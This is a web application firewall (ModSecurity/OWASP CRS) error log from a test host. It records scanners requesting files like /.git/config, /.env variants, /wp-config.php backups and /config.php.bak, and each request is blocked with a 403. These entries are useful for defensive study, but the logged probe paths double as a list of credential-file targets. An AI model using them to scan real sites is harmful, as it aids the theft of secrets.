[Thu Mar 12 04:54:15.199369 2026] [:error] [pid 2641123] [client 54.174.114.18:37286] [client 54.174.114.18] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI452S2bdtE-jQKV83UwQAAAAQ"]
[Thu Mar 12 04:54:15.199574 2026] [:error] [pid 2641123] [client 54.174.114.18:37286] [client 54.174.114.18] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI452S2bdtE-jQKV83UwQAAAAQ"]
[Thu Mar 12 04:54:15.199722 2026] [:error] [pid 2641123] [client 54.174.114.18:37286] [client 54.174.114.18] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI452S2bdtE-jQKV83UwQAAAAQ"]
[Thu Mar 12 05:03:02.703511 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abI69hcJO_GkBG2S-umkRQAAAAE"]
[Thu Mar 12 05:03:02.703751 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abI69hcJO_GkBG2S-umkRQAAAAE"]
[Thu Mar 12 05:03:02.703928 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abI69hcJO_GkBG2S-umkRQAAAAE"]
[Thu Mar 12 05:03:02.749912 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abI69hcJO_GkBG2S-umkRgAAAAE"]
[Thu Mar 12 05:03:02.750078 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abI69hcJO_GkBG2S-umkRgAAAAE"]
[Thu Mar 12 05:03:02.750218 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abI69hcJO_GkBG2S-umkRgAAAAE"]
[Thu Mar 12 05:03:02.774566 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abI69hcJO_GkBG2S-umkRwAAAAE"]
[Thu Mar 12 05:03:02.774672 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abI69hcJO_GkBG2S-umkRwAAAAE"]
[Thu Mar 12 05:03:02.774832 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abI69hcJO_GkBG2S-umkRwAAAAE"]
[Thu Mar 12 05:03:02.775011 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "abI69hcJO_GkBG2S-umkRwAAAAE"]
[Thu Mar 12 05:03:02.799279 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abI69hcJO_GkBG2S-umkSAAAAAE"]
[Thu Mar 12 05:03:02.799451 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abI69hcJO_GkBG2S-umkSAAAAAE"]
[Thu Mar 12 05:03:02.799587 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abI69hcJO_GkBG2S-umkSAAAAAE"]
[Thu Mar 12 05:03:02.836934 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abI69hcJO_GkBG2S-umkSQAAAAE"]
[Thu Mar 12 05:03:02.837107 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abI69hcJO_GkBG2S-umkSQAAAAE"]
[Thu Mar 12 05:03:02.837324 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abI69hcJO_GkBG2S-umkSQAAAAE"]
[Thu Mar 12 05:03:02.861376 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abI69hcJO_GkBG2S-umkSgAAAAE"]
[Thu Mar 12 05:03:02.861549 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abI69hcJO_GkBG2S-umkSgAAAAE"]
[Thu Mar 12 05:03:02.861703 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abI69hcJO_GkBG2S-umkSgAAAAE"]
[Thu Mar 12 05:03:02.884804 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI69hcJO_GkBG2S-umkSwAAAAE"]
[Thu Mar 12 05:03:02.884981 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI69hcJO_GkBG2S-umkSwAAAAE"]
[Thu Mar 12 05:03:02.885217 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abI69hcJO_GkBG2S-umkSwAAAAE"]
[Thu Mar 12 05:03:02.911992 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abI69hcJO_GkBG2S-umkTAAAAAE"]
[Thu Mar 12 05:03:02.912147 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abI69hcJO_GkBG2S-umkTAAAAAE"]
[Thu Mar 12 05:03:02.912288 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "abI69hcJO_GkBG2S-umkTAAAAAE"]
[Thu Mar 12 05:03:02.941678 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abI69hcJO_GkBG2S-umkTQAAAAE"]
[Thu Mar 12 05:03:02.941791 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abI69hcJO_GkBG2S-umkTQAAAAE"]
[Thu Mar 12 05:03:02.941953 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abI69hcJO_GkBG2S-umkTQAAAAE"]
[Thu Mar 12 05:03:02.942092 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abI69hcJO_GkBG2S-umkTQAAAAE"]
[Thu Mar 12 05:03:02.996566 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "abI69hcJO_GkBG2S-umkTwAAAAE"]
[Thu Mar 12 05:03:02.996831 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "abI69hcJO_GkBG2S-umkTwAAAAE"]
[Thu Mar 12 05:03:02.996975 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "abI69hcJO_GkBG2S-umkTwAAAAE"]
[Thu Mar 12 05:03:03.090698 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abI69xcJO_GkBG2S-umkUwAAAAE"]
[Thu Mar 12 05:03:03.090895 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abI69xcJO_GkBG2S-umkUwAAAAE"]
[Thu Mar 12 05:03:03.091052 2026] [:error] [pid 2641120] [client 93.123.109.214:56106] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abI69xcJO_GkBG2S-umkUwAAAAE"]
